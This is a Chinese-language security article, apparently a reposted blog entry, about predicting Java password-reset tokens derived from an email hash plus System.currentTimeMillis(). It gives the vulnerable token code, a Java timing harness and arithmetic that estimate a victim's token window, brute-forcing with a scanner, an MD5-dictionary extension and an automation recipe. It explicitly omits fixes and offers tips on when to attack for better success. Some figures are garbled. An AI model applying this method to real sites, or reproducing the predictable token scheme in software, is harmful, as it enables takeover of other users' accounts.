摘要: 这是一个随机函数破解的经典例子。在java程序中,获取随机数的做法有多种。但是我们实现一个随机token,并用于认证时,通常第一时间,想起来使用[System.currentTimeMillis],本文会详细讲解一次破解随机数的经过。
正文:
[System.currentTimeMillis]这个方法,返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果,可能是类似[1315395175327]这样的数字,因为后面的几位,是毫秒,所以执行结果就好像[随机]一样。 今天遇到的一个系统,相关业务逻辑场景,是用于找回密码。首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户使用token,执行修改密码的这一步。 1、输入邮箱。 2、发送邮件给用户邮箱。 3、根据邮箱中的链接,修改密码 就是说,只要能破解了服务器给用户生成的token,就可以直接修改用户密码。 在生成token时,采用了这样一段代码:
public String genToken(String email) { String token = email.hashCode() * 21 + System.currentTimeMillis() + ""; return token; } 从代码上可以看到,Email的hashcode,在用户的email固定的情况下,是不变的,那么这个不变的数字,即使乘以21,依然是不变的。只要知道了用户的email,就可以知道这个数字。 真正随机的只有System.currentTimeMillis() 这个方法貌似随机,条件允许的情况下,其实是可以破解的。
利用系统时间可预测破解java随机数:
根据以上流程,只要攻击者提交
http://HdhCmsTest2cto测试数据 /user/findpassword.action?email=4700012@qq测试数据 就可以给攻击者的邮箱,发一封EMAIL。 ================ 你好,空虚浪子心: 请点击链接重置密码。该链接24小时内有效。 或将以下链接拷贝到浏览器地址栏中:
http://HdhCmsTest2cto测试数据 /user/resetpassword.action?token=1315336352414 该邮件由系统自动发送,请勿直接回复此邮件。 ============== 随后的那个token,就是随机生成的数字。同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email。如果服务器上的时间,和攻击者机器上执行的时间一致,在不考虑网络传输成本的前提下,是可以直接得到token的。 当然,这不可能。 但是好在我们的时间速度,和服务器的时间速度,基本一致。注意,这里讲的不是时间一致,是时间的速度一致,可能本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必然已经12点了。 我们的时间,和服务器时间,总是会相差一个数字。 网络速度,每次传输都不一致,第一次发出请求,可能用1.020秒,第二次,用0.921秒。 没关系,我们尽量让它变得可预测些。 在本地,写这样一段代码: =================
public static void main(String[] args) throws IOException { System.out.println(i + 1); i++; System.out.println("------mystart"); System.out.println(" 4700012@qq测试数据 ".hashCode() * 21 + System.currentTimeMillis()); sendPost(" http://HdhCmsTest2cto测试数据 /user/findpassword.action?email=4700012@qq测试数据 "); System.out.println(" 4700012@qq测试数据".hashCode () * 21 + System.currentTimeMillis()); System.out.println("------myend"); System.out.println("------user start"); Long x = " 10000@qq测试数据".hashCode () * 21 + System.currentTimeMillis(); System.out.println(x); sendPost(" http://HdhCmsTest2cto测试数据 /user/findpassword.action?email=10000@qq测试数据 "); Long y = " 10000@qq测试数据 ".hashCode() * 21 + System.currentTimeMillis(); System.out.println(y); System.out.println(y - x); System.out.println("------user end"); } =================
代码流程,使用文字描述:
1、 打印攻击者的开始时间。
2、 发邮件给攻击者。
3、 打印攻击者的结束时间。
4、 打印要破解的用户开始时间
5、 发邮件给要破解的用户。
6、 打印要破解的用户结束时间
7、 打印请求服务器给用户发邮件的用时
程序执行的结果如下: ======================
------mystart 1315395175327 1315395175437 //攻击者的结束时间 ------myend ------user start 1316945857268 1316945857305 //用户结束时间 37 //用户结束时间减去用户开始时间 = 网络延迟。 ------user end ====================== 于此同时,收到了一封邮件,token为[1315395156493]。 然后根据以下的计算公式: 攻击者的结束时间(已知) – 服务器给攻击者发邮件的时间(已知) = 时间差(可以算出来) 用户结束时间(已知) – 服务器发给用户邮件时间(就是未知数x) = 时间差(前面算出来的) 可以算出给用户发邮件的时间,这个时间是模糊的,还需要加减当时的网络延迟(刚才程序打印出来了),才能得到一个最终区间。 再写段代码: =============================
Long myendtime = Long.valueOf("1315395175437"); //在我本地执行完给我邮件发送的时间 Long userendtime = Long.valueOf("1316945857305"); //在我本地执行完给用户发邮件的时间 Long myservertime = Long.valueOf("1315395156493"); //服务器给我发邮件的时间 Long userservertime = userendtime - (myendtime-myservertime); System.out.println(userservertime); =================================== 这段代码打印出了结果:
1316945838361 这是我们预测的,服务器给用户的发邮件时间范围基数。 最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。 下面交给WVS处理
很快的,得出结果,第一列的response内容大小,和其他的不同,大家都是1153B,只有这一条是2685B,说明内容不一样,这就是答案了。
得到答案,我们访问页面看看。
图中可以看到,攻击者可以已经破解了token,可以直接修改密码。 在做网络攻击时,当然情况可能不一致,网络延迟如果很久,可以换网速好,延迟少的机器。最好在半夜三更的时候进行,成功几率大很多。
进阶攻击:
当然,会有开发自作聪明,给最终数字,也就是token,加上MD5。这的确可以增加攻击成本,但是实质上还是自欺欺人。对于攻击者,只需要在固定的时间范围,就可以放一个字典。
1316945838361 -- 7bfe0596e68cb9c43bfd0749d835c62d 一一对应,在最终做算术题中,多几次查询即可。 我们可以就拿以上示例,给大家进阶一下。 代码为
public String genToken(String email) { String token = email.hashCode() * 21 + System.currentTimeMillis() + ""; return md5(token); } 和前文代码基本一致,只是返回时,最终调用了md5。 假设还是上次的结果,服务器会返回:
Token=8b4a258acdff3bf44ed88d174ed0be20 这个token其实就是时间的加密,他的解密肯定在一定的时间段范围内。我们首先要找到特征。 执行一下当前时间,先看看我的时间,1315395175437,这是一个long类型。 通过
System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm").format(new Date(1315395175437))); 得出结果:
2011-08-29 20:39 经过不断的修改数字,可以看出 13153951,也就是前8位,代表几月几号几点。 75437,也就是后面5位,代表几分几秒。 服务器时间就算再傻,也不能把今天,算成明天,最多和我们本地,相差个多少分钟。 所以我们做字典,在数据库录入:
以[13153951]为固定前缀+5位数字 (00001到99999) 之后在这个表,增加一个字段,是前面那个字段的MD5值,当然,如果不放心,可以再往前加几位,就是固定前缀[1315395]+ 6位数字,以此类推,数据库不会很大。 这个字典,有什么用呢? 前文说到服务器会给我发邮件,告诉我Token=8b4a258acdff3bf44ed88d174ed0be20,这个md5对应的数字,必然会在这个字典里,所以可以直接从字典中查出来这个md5。 其后的流程,就和前文破解一致。 再次贴一遍结果: ======================
------mystart 1315395175327 1315395175437 //攻击者的结束时间 ------myend ------user start 1316945857268 1316945857305 //用户结束时间 37 //用户结束时间减去用户开始时间 =打印请求服务器给用户发邮件的用时,也就是网络延迟。 ------user end ====================== 之后按照公式,当然会算出1316945838361,是我预测的,服务器给用户的发邮件时间范围基数。 最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。 将以上范围所有数字,md5加密一下,做成字典,放在wvs中跑一遍,一定也能得出结果。 以上纯属推测,并没有示例测试,但是思路是正确的。
再次进阶
从上面的内容中,大家知道并不是看到token,就想当然的以为没办法,我们从黑盒测试的角度,甚至可以做这样一件自动化的事情,以便直接快速的破解。 当我们看到有存在md5的token后,直接执行以下几步。 写小程序,将以下流程尽量自动化: 1、获取当前时间,其中可以加入用户名前缀的hash,也可以加入email等hash,总之,token的内容,是和用户相关,并且是固定的,联想到我们注册时,也就填写了用户名、email,肯定是相关的。用户名或email+随机数,排列组合一下,分别走一遍前三步。 2、时间范围定在1小时内(前面几位数字固定前缀即可),生成md5字典。 3、获取自己账号的token,然后在字典中,得出结果。 4、如果第三步成功,基本就可以确定 漏洞 存在。后面利用公式,计算出服务器给用户token的时间基数,正负时间差,做成md5字典。 5、WVS跑一遍字典,查看服务器返回数据大小,从而得出用户的token。 如果我们已经有生成token的代码,就像文章中的示例,就可以省略猜测算法的步骤了。在生成token的时候,肯定有不少人犯了这样的错误,本文主要谈攻击思路,至于修补方案就不管了,大家懂得。 By kxlzx HdhCmsTestinbreak.net
查看更多关于利用系统时间可预测破解java随机数 - 网站安全的详细内容...